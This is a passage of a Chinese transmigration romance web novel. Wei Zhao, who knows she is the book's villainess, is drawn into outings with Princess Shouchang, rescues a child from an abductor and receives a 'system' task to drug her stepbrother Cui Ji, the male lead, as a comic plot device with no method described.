先帝是最后的胜利者,而先帝背后的独孤岚更是赢家,不光平了四王之乱,还将漠北王麾下的一部分凤家军收入囊中,成立了属于自己的萧家军。 他身为独孤岚的亲外孙,也是得利之人,为什么要与自己的外祖母作对,私下去查当年之事? “知之,我想我应该告诉你。”他轻轻一揽,便将她拥入怀中,近乎呢喃地道:“我外祖母镇守边关那些年,我母亲也被养在太后身边,和独孤清风是青梅竹马……” 她愕然。 须臾,恍然明白了什么。 书中的剧情迟早会走完,女主也终将出现,到时候男主幡然醒悟,且不说厌恶她与否,必是会与她划清界线。 倘若她知道得太多,恐怕到时候很难脱身,她不敢拿现在花前月下的一时心动,去赌日后的麻烦不断。 她猛地将崔绩推开,“兄长,兹事体大,有些事你不必要与说我太多。” 温香软玉变成空虚,崔绩眯了眯眼睛。 “今日我已听兄长说了许多,太晚了,我也该回去了。” 她不等他回答,人已跑远。 以她的身手,确实打不过他,但倘若是逃命,倒也不是不够。 夜幽幽,影绰绰。 不知过了多久,重归寂静。 偌大的荒宅中,他还保持着原有的姿势,仿佛等待着心上人重回自己的怀抱。一只白猫钻了出来,围在他脚边。 他缓缓蹲下,将白猫抱起。 一片暗沉的眸中,隐有自嘲之色,“你家姑娘跑了,看来是我还是太心急了。” * 一连过了几日,府里风平浪静。 或许是少了主要的作妖之人,崔家上下难得的清朗,便是先前被沈姨娘拘着不出门的崔砚,也得以在园子里玩耍。 一开始魏昭还有些不安,怕崔绩追着自己不放,但对方不仅没再找她,甚至连崔府都没有回,倒是让她松了一口气。 如今她的目标只有一个:那就是苟。 苟到走完剧情,苟到完成所有的任务,其他的全都不得不搁置一旁。 她宅在自己的院子里,没有再回魏宅的打算。期间崔明淑和崔明意都来找过她,聊聊天说说话之类的。 若是没什么事,恐怕接下来她也不准备出门。 但计划赶不上变化,有些人的相请,由不得她拒绝。 当寿昌公主的人来接她时,难免惊动崔家上下,连盛氏都极为重视,将她叫到跟前,好生叮嘱交待了她一番。 她坐上公主府的马车,马车载着她穿街走巷,最后停在幽篁馆的门口。 浮刻着竹梅图的朱漆大门一开,有人将她领了进去。 内里与在外面所见大差不差,如雅致的闲庭,假山绿树翠竹虚掩,更像是什么文人雅士的居所。 悠扬的琴声传来,曲乐动人。但见雅舍轻纱随风飘动,抚琴之人蒙着面纱,青衫温雅眉清目秀,颇有世家公子的风范。 她只看了一眼,便已将人认出。 是李戌! 寿昌公主倚靠在软榻之上,矜贵从容地喝茶听曲,旁边还有个侍酒的男子,长相亦是不错,瞧着应是还用了脂粉,神态举止间都带着几分媚色。 这人魏昭也认识,正是幽篁馆以前的头牌洛公子。 “我还当魏姑娘会吓的不敢进来。”寿昌公主朝她举了举手中的杯子,玩味一笑。 “公主有请,民女岂敢不来?” 她也是没有想到,这位公主殿下会请自己来这样的地方。更没想到的是,她会在这样的地方见到李戌。 故人重逢,不仅不能相认,还要装作完全不认识的样子。 寿昌公主示意她就座,她行过礼后,便坐到一旁。 “魏姑娘是不是觉得本宫将你请到这来,委实是有些不太妥当?” “喝茶听曲而已,在哪里都一样。” “说的好。”寿昌公主抚掌,“难怪本宫一见你,就觉得你和别人不一样,看来本宫果真没有看错人。” 她不无随意地感慨,“世间让人快活的地方,男人来得,我们女人也来的,你说是不是?” 魏昭点头。 这话没毛病。 “好,不愧是本宫看中的人,你确实是与众不同。” 她显然大悦,倒像是真把魏昭当成同道中人,开始大谈男女之事。比方说自己择驸马的标准,以及她认定的夫妻相处之道。 一时之间,魏昭还当自己身处前世,正与朋友私下闲聊。 洛公子极有眼色地给她添着酒,极尽讨好奉承。 她勾着唇,很是享受的模样,“人说女为悦己者容,本宫觉得男人也该如此。这描了眉画了眼,还抹了脂粉,瞧着也很是不错。” 魏昭下意识瞄了一眼正在弹琴的人,并没有描眉画眼,也应该没有涂脂抹粉。 恰好一曲终了,李戌似是不经意抬眸,与她的目光对上。 应该是身体还没有好全的缘故,他看上去略显几分病态,但这般模样,反倒更能让别人心生怜惜。 寿昌公主睨着他,道:“你别弹了,过去给魏姑娘倒酒。” 他屈膝跪到魏昭身边,给她倒了一杯酒。 她像是很是不习惯这样被人侍候,在他送酒过来时,侧过身体去接,用仅能两人听到的声音道:“人还活着,就在樊城大牢。” 这是琴奴死之前和她说的话。 时隔这么久,她终于完成交付。 酒是青梅酒,闻着自有青梅的清香,她只敢轻轻抿了抿,并不敢多喝。 她和李戌分得较开,无需过多的伪装,也能看出明显可见的不自在和些许的拘谨。当李戌给她喂食时,她唯有尴尬地笑着拒绝。 寿昌公主见之,挑了挑眉,道:“魏姑娘既来之,便安之。这位木公子是馆里的新人,你莫要冷落了人家。” “常见新人笑,哪闻旧人哭,这馆里的新人就像那水葱似的,一茬又一茬,可怜奴这个旧人也快要无人问津了。” 洛公子这番可怜兮兮的话,引得寿昌公主伸手勾起他的下巴,“谁说你无人问津的,本宫瞧着你正是风华正茂之时,以后但凡本宫来此地,必让你作陪。” “殿下真是好雅兴!” 飘逸的轻纱被人掀过,现出沈弼那张冷酷的俊脸。 一张俊脸的后面,是更俊美的另一张脸。 当魏昭看到他身后的崔绩时,差点用袖子挡住自己的脸。 他满面的寒霜,浑身散发着清冷不近人情的气场,不像是来办差的,而像是来捉奸的。 她莫名心虚起来,小声唤了一句“兄长”后,便低头装死。 沈弼看到她,不无惊讶。 “魏姑娘,你怎么也在这里?” 她这才起身见礼,回道:“殿下有邀,我赴约而来。” “本宫找魏姑娘来听曲,沈少卿难道也要管?”寿昌公主语气戏谑,待看到崔绩后,不由自主坐正了些,“崔少尹也来了,这还真是巧,要不你们也坐下来喝一杯?” 沈弼剑眉紧紧地皱着,“多谢殿下的好意,臣和崔少尹还有公务在身。” “既如此,那你们忙去吧。”寿昌公主摆了摆手。 “臣等正是奉陛下之命,特来接殿下回宫。” “本宫还未尽兴。” “殿下,请!” “沈弼,你好大的胆子,你没听到本宫的话吗?本宫让你等……” “殿下,你莫要逼臣。” 两人你来我往,听着像是针锋相对,却更像是在拉扯。 “你们出去!” 这话是崔绩对李戌和洛公子说的。 魏昭也识趣地起身,低头垂眸却看不到自己的脚尖,只有自己的胸,“殿下,民女也该回去了。” “今日真是扫兴,改日本宫再约你。”寿昌公主说着,拂袖而出。 沈弼立马跟上。 如此一来,雅舍之中只剩崔绩和魏昭。 哪怕没有抬头,魏昭也能感觉到自己这位继兄的不悦,以及强大的气压。 “兄长,我自己回去就好。” 她刚一动,崔绩的手就搭在她肩膀上,“急什么,陪我喝两杯。” “兄长,我不太会喝酒,公主相请,我不能拒绝,我也是迫于无奈。” “是吗?”他身体欺近,压低的眉骨下,是墨云堆聚的眼。“我怎么瞧你和那个小倌有说有笑,很是快活的样子。” “!” 这是吃醋了? 第58章 她震惊地看着他, 凝视的久了些,他如浓墨般化不开的眸中,仿佛渐渐形成漩涡来, 似是要将她吸进去一般。 这种毫不掩饰的情绪,是她以前从未见过的。 仅是一会儿, 她就有些招架不住。 她没有辩解自己没有和李戌有说有笑的事,而是反问他:“兄长可知, 我想要的快活是什么?” 他气息更近,“是什么?” “是自在。”她抬起眼皮,再次与他对视,“几个月前,我的日子还很平淡很安心, 我以为我会按照自己的计划一步一步地走下去。有崔家做靠山, 有个能让我不愁吃穿的营生, 将来再找个看得顺眼的男人, 成亲生子过着衣食无忧的简单生活。” 说到这,她叹了一口气, “但是这一切一夜之间全变了,我好像被卷进什么阴谋里, 还生了一种不能控制自己行为的病, 与自己先前所想渐行渐远, 为此内心常常惶恐不安。” 这个人也好, 李戌也好, 其实都是让她不安的因素。 “兄长, 我知道你的心意,可是现在的我,不能做自己的主, 你能不能等我病好之后再说?” 所有的终点,或许也是起点,那么如果他们要开始,起点也在是走完剧情之后。 她不知道自己这种毫无逻辑颠三倒四的话,崔绩会不会信,然而她觉得自己应该说清楚,免得糊里糊涂的生出一段孽缘来。 “你想看我,想摸我,当真只是因为生病?” “……” 这要她如何回答! 她看他摸他,全都是受系统的指使,绝非她的本意。 但是时至今日回想起来,她虽是迫不得已,却也不觉得全是勉强,至少他的身体实在是令人赏心悦目,或者说是大饱眼福。 崔绩似是也叹了一口气,端起她未喝完的那杯酒,嗅了嗅,“青梅已尽冷酒寒,这个时节倒是最宜饮此酒。” 说罢,他一仰头,将酒饮尽。 且好巧不巧,嘴唇接触的位置,正是她先前碰过的地方。 她的心莫名一热,似有一股又热又麻的电流划过。 分明只是喝个酒而已,那仰头时完美的下颌线,酒入口时滚动的喉结,无一不显露出优雅的张力,直让人没由来的口干舌燥,浮想出不合时宜的画面。 “兄长,你这是同意了?” 他不置可否。 “我让人送你回去。” * 魏昭一进府,就被盛氏的人请去。 听闲堂内人不少,除去还有外面当差的男子,以及年纪小的崔明意和崔砚,其他人都在。一看这不太对的气氛,她心下了然。 不管是出于在意的原因,还是出于别的心思,先前她被公主府的马车接走后,盛氏应该派了人跟着,这一跟自然是知道她去的是幽篁馆。 她上前给盛氏行礼后,将自己去了幽篁馆,又遇沈弼和崔绩,以及被崔绩送回的事一一道来。 “寿昌公主也太不像话了,哪有邀人去那种地方玩的,没得坏了别人的名声。”崔明淑哼哼着,神情间倒是没有多少的嫉妒。 也亏得是去了幽篁馆,否则她冷嘲热讽的对象就是魏昭。 魏昭道:“她是君,她有请,莫说是那样的地方,便是刀山火海我也得去。幸好沈少卿奉命去接她,兄长也跟着一起。” 盛氏还皱着眉,却也不是生谁的气,而是显现出无奈之色。“你是个懂事的,我倒是不担心,就是怕寿昌公主由着自己的性子,担心你在那样的地方不自在,是以便让人知会了绩哥儿。” 她叹了一口气后,又道:“寿昌公主如此行事,我也不好说什么,只能让绩哥儿出面。他们也算是表兄妹,比旁人好说些话。 这倒是事实。 独孤岚地位尊崇,是先帝的胞姐,今上嫡亲的姑母。因着她的关系,寿昌公主也得给崔绩这个表兄几分面子。 “多谢祖母体恤。”魏昭看起来像是仍然心有余悸般,脸上不掩庆幸之色,“我从未去过那样的地方,当真是如坐针毡,若不是兄长赶到,让斗南送我回来,我还不知要煎熬到几时。” 不会有人知道,她其实并无什么不适。所有人都信她说的是真的,因为换成她们任何一个去到那样的地方,大概率都会坐立难安, 甚至于杨氏看她的目光满是同情,说她必是受到惊吓,又吩咐身边的人去厨房安排,让人给她煮碗安神汤压压惊。 魏绮罗盯着她喝了安神汤,与她说了几句话后,就让她好生歇一歇。 这一歇就到了第二天,期间没有任何人来打扰她。她以为接下来总该过两天清静日子,没想到的是寿昌公主竟然亲自登门。 寿昌公主此番来还是为了她,说是昨日未招待好她,今日邀她去游湖以示弥补。 她自是不能拒绝,简单收拾一番后,在盛氏的殷殷叮嘱中,上了对方的马车。 马车行到闹市,停了下来。寿昌公主伸了一下腰,说是坐得久了,身子不太舒服,意欲下来走上一走。 客随主便,她只有跟随的份。 京中的繁华乃是天下之最,无论哪时得见,皆是昌盛热闹的景象。 寿昌公主似是兴致很高,不拘是杂耍的,还是卖艺的,全都往前凑,还让身边的人不吝打赏,不无感慨地对她道:“宫里甚是无趣,还是外面让人开心。” 宫里不是无趣,而是人心太杂,求的人太多,便也就泯灭了人性的很多面,留下的全都是难填的欲壑。 围观的百姓叫好声不断,一片嘈杂中,她只当没有听见。 人群挤挤攘攘,有个四五岁的孩子应是和大人走散了,哭着不停地喊娘。不等冲过来的妇人去抱那孩子,被她一把扯了过来。 妇人愣了一下,面上闪过一抹恼色,却因她和寿昌公主的衣着气质而有所惧怕,说自己是孩子的亲戚,能帮着带孩子去找爹娘。 她抱着小孩,冷声道:“这年头拐子多,谁知道你是什么人。” “你这个姑娘看着也是大户人家出来的,怎地说话如此难听?”妇人眼珠子乱转,明显有些心虚,却虚张声势地道:“你在这里等着,我去把他爹娘找来!” 说完,人往人群里一钻,没多会儿就不见了人。 小孩还在哭,她转头吩咐了白鹤几句。 白鹤去的快,回来的也快,手里拿着一包点心。 她抱着小孩,一边哄着,一边喂着点心,点心吸引了小孩的注意力,立马就止了哭声,怯怯地吃着点心。 寿昌公主见之,不无揶揄地道:“看不出来你还挺有耐心。” “殿下若不是急,民女想在这里等一等。若是他爹娘能找来,自是千好万好。若是没找来,民女打算将这孩子送去衙门,您看可好?” “行啊,依你。” 寿昌公主并不执着于游湖,比起常玩的套路来,她更愿意凑这样的热闹。 她们皆是显眼的人物,一个贵气,另一个实在是貌美,自是引来不少人的注意。 不远处的两人不知站了多久,目之所及都是她们。 “还是魏姑娘聪明,一眼就识破那人是个拍花子的。”沈弼不无赞赏地道:“若换成只有殿下,怕是眼睁睁看着人被拐还一无所知。” 这一捧一踩的,也幸好寿昌公主没有听到,否则定不会饶他。 他睨了睨身边的人,见自己的好友一直盯着那抱孩子的少女,目光中的情意俨然要溢出来般,似有什么答案呼之欲出。 “孝白,你……” 崔绩的眼睛里仿佛只容得下那抹绿色的倩影,美目盈盈桃腮雪肌,一颦一笑如诗如画,似巧夺天工的春景。 尤其是看向孩子时的温柔之色,似暖风徐徐。 恍惚间,他像是透过这一幕看到了将来,她抱着的是他们的孩子…… “你我这个年纪,也该成亲了。” 沈弼闻言,蓦地瞪大眼睛,冷酷的表情寸寸崩裂。 半晌,回过神来,“我就说你也没接触什么姑娘,哪里就有心上人,原来是……” 一掌拍在好友肩上,“眼光不错。” 这时他看到手下的人提溜着那妇人过来,摆了摆手,道:“先押回去关起来。” 那妇人被堵着嘴,一脸的惊恐,他们经过魏昭和寿昌公主身边时,寿昌公主“咦”了一声,一抬头就看到了崔绩和沈弼。 “怎么哪都能遇到他们!” 虽是抱怨的话,听着语气中却不掩欢喜。 魏昭道:“民女常听兄长说,说沈少卿为官清正,但凡办案事必躬亲,是个难得的好官。” “他确实是有些能力,可惜济宁侯府那些人拖累了她。”寿昌公主似是很惋惜,“否则以他的人品相貌,哪里到如今亲事都没有着落。” “侯府的事民女也听到过一些,确实是有些乱,沈少卿若不能娶个能压制住那些人的妻子,日后必受其累。” “你也这么想!”寿昌公主眼睛一亮,看魏昭的目光多了几分亲近,“可惜啊,沈弼这个榆木脑袋,怕是还想不到这一点。” 魏昭暗道自己猜的没错,这位公主殿下果然对沈弼有意思。 而看沈弼的态度,对寿昌公主应该也有感觉。 济宁侯府那样的杂乱,如果沈弼娶的妻子不能完全掌控全局,必会受内宅掣肘。倘若娶的是个公主,那么便能绝对性的压制所有人。 这门亲事如果真是郎有情妾有意,倒是很合适。 她故意不往那边看,猜测他们有公务在身,应该会很快离去,遂低头替小孩擦脸,轻声道:“民女想着,沈少卿迟早会明白过来。” 寿昌公主自小长在深宫,岂能是个傻的?一听她这话,便知她应是看出了什么,当下也不藏着掖着,微微昂着头,“等他想明白,怕不知要猴年马月。” 也不用她说什么,又道:“若是惹恼了本宫,本宫一包迷药将他放倒,与他睡上一宿,不愁他不从了本宫。” 她心下失笑,还来不及感慨什么,系统的声音突兀地冒出来。 【触发剧情任务:请宿主给男主下迷药,限时三日。动机:想与男主睡在一起时,被人撞破。】 也就是说这次的任务又升了,她不光要下药,还要有行动,除了男主的加入,还得有第三方来围观他们。 这真是越来越离谱了! 第59章 * 一对神色慌乱的夫妇跑过来, 妇人满脸的泪痕,脚步踉跄着,若不是身边的男人扶着, 怕是走几步就要倒地。 他们紧盯着魏昭怀里的孩子,一个比一个情绪激动。 “爹, 娘。”小孩看到他们,高兴地喊着。 魏昭把他放在地上, 他便扑到到那妇人的怀里。 夫妇俩对魏昭千恩万谢,这才抱着孩子离开。 事情一了,不远处的两人也到了跟前。 魏昭和沈弼见了礼,再对着崔绩唤了一声“兄长。” 哪怕是微低着头,也能感觉他们都在看自己。 寿昌公主挑着眉眼, 语气轻慢, “这还真是巧, 本宫走哪都能遇到你们, 你们莫不是故意跟着本宫?” “殿下想多了,臣等确实是有公务在身。”沈弼剑眉蹙着, 一脸的冷酷。 “那看来是本宫多虑了,沈少卿今日不会搅了本宫的雅兴, 本宫正好玩个尽兴。”她看着魏昭, 话却是说给他听的, “魏姑娘, 这次本宫定要好好招待你, 游湖听曲儿, 画舫到了湖中央,谁也打扰不了我们。” 说罢,她冷哼一声, 抬着下巴优雅地继续往前走。 魏昭朝两人福了福身,跟在她身后。 她们都走远了,沈弼的眉头还未松,“这个寿昌公主,当真是越发的不像话,她自己胡闹也就算了,怎地扯上魏姑娘?” 转头见自己的好友眼珠子都像是粘在那抹绿色的倩影上,更是面露无奈之色,“你不跟着?你不怕魏姑娘被她带偏?” 往来行人熙熙攘攘,纵是淹没在人海中,崔绩的目光也能跟着心心念念的人。 “她心性坚定,不会被带偏。” 沈弼扯了扯嘴角,“啧啧”两声,“你看中的人,当然不可能差,但寿昌公主的性子你是知道的,最是任性惯了,魏姑娘看着那么乖巧,肯定不敢拒绝她,你真的放心?” 崔绩睨了一眼他身上的官服,道:“你们还在当差,岂能徇私?” “也是。” 他眉头又拧着,显然不太爽的样子。 “前几日凤栖湖那边出了些乱子,两家画舫为抢生意而滋事,想来应是不太安生。我欲换上私服去看看,你意下如何?” 崔绩这话让他眼睛一亮,当即表示愿意陪同前往。 * 梧桐桥下,凤栖湖。 湖岸风光映碧水,绿柳依依绕水而生,繁华之处有经营茶酒的阁楼,雕梁画栋飞檐翘角,平淡处是寻常人家的民居,青砖黑瓦古风古韵。 水面微泛着波澜,散落着数量不少的画舫,不时有小船穿梭期间,叫卖着各式各样的小食与酒水。 歌声、琴声、琵琶声往来飘扬着,交织出属于人间的歌舞升平。 魏昭看着那抚琴之人,也是没想到寿昌公主竟然不光是带她游湖,还将李戌和洛公子给叫来助兴。 李戌仍旧蒙着面纱,青衫雅致眉清目秀,又因着伤还未痊愈的病弱之气,更显出几分不问世事的清高姿态。 他专心地抚着琴,仿佛不是幽篁馆那等地方的小倌,而是世族大户出来的名门公子。 寿昌公主斜靠在铺锦的软榻上,享受着洛公子的服侍,瞧着贵气又慵懒,笑道:“我们如今在水上,不会有人再来打扰,魏姑娘不必紧张,放松即可。” 魏昭的紧张是装出来的,内心实则很平静。 这种平静像是秋日的午后,在自家院子里躺着晒太阳,听着市井里所有的声音,脑子放空什么也不想。 但有一点不同,那就是此时的她,无法忽略李戌的存在。 如果说他上次出现在京中是为了报仇,那么在江昌义死后他为何还要重回京中,且不惜混迹于幽篁馆,到底想做什么? 琴奴死前所说的那个没死的人,又是谁? 尽管她告诉自己,这些事与她无关,然而内心深处却有个声音在反驳,说她是自欺欺人,因为她已经被卷入。 这时另一艘画舫靠近,传来男人酒后的高谈阔论声。谈的却不是诗词歌赋,而是楼馆中的花魁与小倌。 “早先那个叫琴奴的,听说长得细皮嫩肉的,年纪又小,可惜他进幽篁馆的时候我不在京中,等我回京他已经死了。” “这些个玩意儿多的是,最近不是来了个叫什么木公子的,好像卖艺不卖身,倒是有几分清高,就不知道等年纪大了还能清高到哪去,怕是哭着求着让人垂怜。” 一阵不怀好意的笑声中,有人忽然指向他们这边,惊呼道:“那……那个好像就是木公子,听说近两日都被人给包了,也不知是……竟然是女子!” 寿昌公主穿的是常服,除去给看出是世家高门的姑娘外,倒是未有任何彰显身份的标志,魏昭更是如此。 但她们一个长相上乘,另一个则是貌美非凡,自是让那些人惊艳连连。 一时之间,那些人的笑声越发的放肆,甚至有人借着酒兴开黄腔。 “你们看着都是未出阁的姑娘家,怎地如此耐不住?若不让本公子去陪你们,替你们解闷解乏?” 说话的人一双不安好心的眼睛恨不得粘在魏昭身上,目光中流露出不加掩饰的邪念,暗道这般花容月貌的女子,还没有哪家花楼的花魁能比得上。 魏昭对这样的话右耳朵进左耳出,只当作没有听到的样子。她曾以方娘子的身份出入过类似的画舫中,深知那些人是什么德行。 琴声未断,李戌手下的动作不受半点打扰。 那人见无人理睬,挫败之余恼羞成怒,“装什么装?姑娘家出来寻快活,能是什么好东西?公子我……” “吵死了!”寿昌公主终于出声了,“让他们把嘴闭上!” 她话音一落,身边的人立马飞身上了那边的画舫,一通大打出手后,很快传来不甘的叫嚣声。 “你们知不知道我是谁?我在衙门有人……” “我乃大理寺少卿,你可是要报官?” 随着这声音传来,一艘小船极速靠近。 魏昭下意识看去,待看到来的不止是沈弼,还有崔绩时,竟没由来的有种错觉。仿佛他们已是夫妻,当丈夫的不放心妻子独自在外,走到哪里都跟着。 这个念头一起,她自己都觉得可笑。 倘若她不知道这是一本书,不知自己是恶毒女配,恐怕她还真的会顺着自己的心,去够一够男主这轮崔家的明月。 二人皆是已换上常服,但气势仍在。 那人一听是大理寺的少卿,赶紧攀关系,说自己是谁的亲戚,指责寿昌公主不分青红皂白指使人动手。 “少卿大人,你可得为我做主啊,这两个女子大白天的和幽篁馆的同游,想来也不是什么正经人家的姑娘……” 他以为能这般行事的,大抵是商贾出身,还想着等事情过后怎么出这口气,带着恶意与淫念的眼睛紧盯着魏昭。 “放肆!”沈弼喝斥道:“瞎了你的狗眼,意敢对寿昌公主殿下无理!” “殿下?寿昌公主……”他目瞪口呆着,整个人软了下去。 画舫上所有人都跪了下来,喊着“殿下饶命”之类的话。 沈弼问寿昌公主,“他们惊扰了殿下,殿下想怎么处置?” 寿昌公主俨然心情极好,“不知者无罪,但他们口出污秽,脏了本宫的耳朵,自己掌自己的嘴即可。” 那些人哪里还有二话,一个个扇起自己来。 画舫的主家见势不动,赶紧手忙脚乱地指挥着掌舵的,恨不得立马远离。 “沈少卿公务繁忙,想来也不会留下来陪本宫喝上一杯……” 寿昌公主的话还没说完,崔绩已经上来了,一副清冷的模样,语气极淡,“公主美意,臣岂敢不从?” 说着,他便坐到了魏昭旁边。 魏昭:“……” 这人挨得这么近,是生怕别人看不出来吗? 很快,沈弼也跳上画舫,扫了一圈后,坐到寿昌公主那边。 琴声还在继续,李戌仿佛未受到任何人的打扰,沉浸在自己的技艺中,但魏昭却能听出琴音中的些许变化。 好似高山流水中一瞬间的错乱,高山裂出一道缝隙,流水撞在岩石上,而这丝异样发生在崔绩上来的那一刹那。 有人给他和沈弼倒了酒,寿昌公主朝他们举杯,“难得你们能赏脸,本宫很是高兴。” 魏昭看得出来,寿昌公主是真的高兴。 她也跟着提杯,正准备喝时却被人给按下。 崔绩睨着她杯子里的酒,“这青梅酒虽清雅,后劲却是不小,不宜多饮。” 她点点头,小小地抿了一口。 寿昌公主看着他们,不无揶揄地道:“真想不到表哥你也会在意这样的小事,算起来本宫也是你妹妹,你为何不关心本宫?” 沈弼立马代为回答,“殿下海量,哪里用得着别人操心。” “本宫当了沈少卿这一句海量,很是愧不敢当,不如与沈少卿一赌,看看你我谁的酒量更胜一筹?” “殿下有命,臣岂敢不从?” 寿昌公主挑了挑眉,脸上尽显欢喜之色,说是眉飞色舞亦不为过。 她一个眼神过去,立马就有人送来不少的酒水。 这时一曲终了,当李戌问她可还要听曲时,她不在意地摆了摆手。 李戌便抱着琴,低着头退到一边。 “这个小倌看着有几分面熟,似是在哪里见过。”崔绩似是不经意地道。 魏昭却是心头一跳。 易容易的是脸,眼睛无法更改,而李戌露出来的恰好是眉眼,更容易让人注意到他的眼睛,以崔绩的敏锐,极有可能看出端倪。 当崔绩站起来时,她想也未想,伸手去扯那雪色的衣袖,仰着芙蓉玉色的脸,低喃般的声音中透着几分可怜,“兄长,我好像又犯病了。” 第60章 寿昌公主和沈弼你一杯我一杯的, 斗得不亦乐乎,他们沉浸在自己的游戏中,俨然是旁若无人。 崔绩睨了一眼, 目光再从李戌和洛公子身上掠过,半起的身体优雅地重新落座, 明显往她这边半倾着。 “你这次又想做什么?” 很低的声音,极沉的语气, 她却听出了兴奋与期待。 她的心像是被电流划过,垂着的眼皮也跟着为之一颤,“你今晚能不能回崔家?我想……和你睡一会儿……” 反正都是要做的事,她没有必要遮遮掩掩。 纵是没有抬头,也能感觉旁边之人散发出来的愉悦气场。 一个“好”字仿佛裹挟着无尽的欲与欢喜, 余音似是长长的藤蔓, 勾得人心起起伏伏, 为之神魂颠倒。 崔绩再次欲起, 又被她扯住袖子。 “兄长……” 纤长的手指揪着白色的衣料,似雪映美玉般好看。 男人的喉结滚了一下, 声音更低更沉,“放心, 我不会做什么。” 她闻言, 终于松了手。 崔绩这一动, 原本正斗酒的寿昌公主和沈弼齐齐看了过来, 见他直直朝李戌走去, 两人染着酒色的脸上都有着惊讶的表情。 他到了李戌面前, 好一会儿没说话。 李戌虽低着头,但那抱琴的手明显用着力,泛白指关节泄露着内心的紧张与波动。 “表哥, 你莫不是也有那等癖好?”寿昌公主挑着眉毛,不无揶揄地打趣。 沈弼适时瞪大了眼睛,“不会吧……” 他下意识去看魏昭,哪里还有平日里冷酷的样子,目光中全是看戏的八卦之色。 魏昭思及他说的话,却也猜不到他到底想干什么。 在所有人的注视中,他对李戌道:“可否借你的琴一用?” 李戌立马将琴奉上,头还是低着的。 他接过琴后,看向寿昌公主和沈弼,“光斗酒岂不无趣,不如我给你们抚琴以助兴。” 寿昌公主抚掌大笑,“好极,有你助兴,本宫定能胜了沈少卿。” 沈弼也跟着笑,“行啊,我也好久没听你弹琴了,有你给我们助兴,实在是妙极。” 继兄妹相识三年,魏昭也没听他弹过琴,甚至都不知道他会琴,当下也来了兴趣,眼巴巴地看着他。 他在众人的凝视中,行云流水般坐下,姿态优雅而从容。 随着他修竹似的手指拨弄着琴弦,清越动人的琴音响起,如积雪化成水,幽幽地流淌在无人涉足的神秘空谷。 不得不说,他的琴音比李戌的听着更舒服,没有炫技,全是细水长流般的宁静平和。 但以他的经历,他的琴音不应该如此,当似金戈铁马的奔啸,烽火连天的争鸣,满是热血沙场的壮志豪情。 而此时的他,仿佛是不出世的神子,矜贵清冷的眉眼间全是与万物和平共处的自然,不见半点尘俗之气。 蓦地,魏昭明白了什么。 这或许就是在他想要的! 可能他和自己一样,所求的都是自在与安稳,以及内心的平静。 有那么一瞬间,她觉得自己和他其实是一类人,或者说是完全匹配的一种人。 琴音不断,斗酒也一直在继续。 她的心慢慢地静下来,听着曲,赏着景。 天光与湖水相映,湖光之色美不胜收,往来的画舫,岸上的民居,如同一幅在她眼前缓缓舒展的画卷。她是画中人,亦是画中景。 不知过了多久,天色渐暗。 画舫的灯笼与灯火亮起,两岸也陆续华灯初上。火光映着湖水,波光粼粼潋滟生华,入目所及都是人间至色,听到的是琴声与隔空飘荡而来的歌舞声。 寿昌公主和沈弼都喝了不少,看着皆有醉意,若不然也不会勾肩搭背起来。 琴音渐收尾,随着崔绩的手按在琴弦上,这场视听的盛宴已经结束。 他将琴还给李戌,交待了寿昌公主带来的人几句,他便到了魏昭面前,“天黑了,我们该回去了。” 很是寻常的一句话,却听得魏昭面红心跳。好在她也喝了一点酒,纵是脸红,旁人也道是酒气的缘故。 他们上了系在画舫旁边的小船,小船很快驶离。 李戌目送着,不知在想什么。 洛公子悄然走到他旁边,笑得有些古怪,“真看不出来,传闻中冷面不近人情的崔少尹,对自己的继妹倒是关怀备至。” * 公主府的厨房内,热气缭绕。 赵狄守着一方小炉,亲自看着火候,药膳粥散发着鸡汤的鲜香以及药材的气味,氤氲在腾腾的水气中。 灶下不时有人进出,丫头婆子之间时有说笑。 “听说今日寿昌公主殿下又邀请那魏姑娘去游湖了,也不知那魏姑娘到底因何入了她的眼,竟让她一而再的相约。” “能入寿昌公主殿下的眼,想来是有些过人之处,旁的不说,那般模样莫说是男子,便是女子见了也心生欢喜。” 她们打着趣,或许是并未看到赵狄,也或者是压根没怎么注意。 炉子里的火映红了赵狄的眼,她眸中的嫉妒与恨意在燃烧着,布满了不甘。 这几日来她的心里像是憋了一团火,却苦于无法消解。一则是自己怕是再也指望不上崔家,二则是独孤岚仍然不见她。 她唯恐迟则生变,一心想着在公主府这边成事,为讨好独孤岚一头钻进厨房,亲力亲为地洗手做药膳,从选料选材到生火看火皆不假他人之手。 药膳做好后,她亦是亲自去送。 独孤岚的住处非她可以随意进出,药膳只能交给守在外面的嬷嬷,还不忘说明药性作用,以示自己的诚心与细心。 那嬷嬷将药膳端进去,却也不能直接呈到独孤岚面前,而是要先经由荣嬷嬷的手。 荣嬷嬷验过毒后,朝自己的主子点了点头。 “这都几天了,倒是有几分毅力。”独孤岚的声音不辨喜怒,听不出是什么意思,睨了那碗药膳一眼,淡淡地道:“倒了吧。” 再是没有问题的东西,她也不会随便入口。 她揉捏着自己的眉心,“寿昌那孩子又包了幽篁馆的人,当真是胡来。” 荣嬷嬷过来,替她按着太阳穴,“小殿下也是好奇,并不会真的做些什么。倒是崔老夫人,对那个继孙女颇为上心,昨日急急地派人去找公子,让公子去将魏姑娘接回,今日怕是又有交待,所以公子才会跟去。” “他倒是听别人的话。”她闭上眼睛,“还有魏家那个丫头,长得确实是招人眼,仔细一回想,本宫怎么觉得那容貌似是有几分熟悉……” * 盈丰的乌发披泄着,如黑色的瀑布,牡丹含露初绽的脸上似染了一层霞色,越显瑰姿艳逸,因着酒气的熏染,朱唇分外的娇丽,盈盈的美目更是不经意间流露出似纯似媚的风情。 魏昭托着腮,看着镜子中的美人。 白鹤站在她身后,感慨连连,“姑娘你以后莫要人前喝酒了,若不然不止是男子,就算是女子看到你这般模样,怕是都要被勾了魂。” “勾魂?”她喃喃着,脑海中浮现中之前她和崔绩回到崔府里的情景。 他们一进府,就被盛氏给叫了去。 盛氏一番问询之后,让她先走,将崔绩留下。 两人错身而过时,她听到他用极低的声音说了一句,“晚上我去找你。” 他说他来找她,也就是说不必她去找他。 难道也是被勾了魂? 她捂着自己的脸,掌心之下明显发着烫,思及这次的任务,示意白鹤附耳过来。 白鹤听着听着,眼睛越睁越大,“姑娘,你……” “你别问,按我说的做。” 所有的逻辑都不通,她没办法解释,也解释不清楚。 白鹤将满腹的疑惑按了下去,点头应下,表示自己定不会误她的事。 夜渐渐的深了,也慢慢地静下来。 有的人终于如约而来,绕过猫爬树的屏风,近到跟前时是好闻的清冽香气,应是沐浴更衣过的缘故。 白衣墨发眉目如画,君子似玉出尘绝艳。 没由来的,她咽了一下口水。 递上准备好的茶水,送到来人的面前。 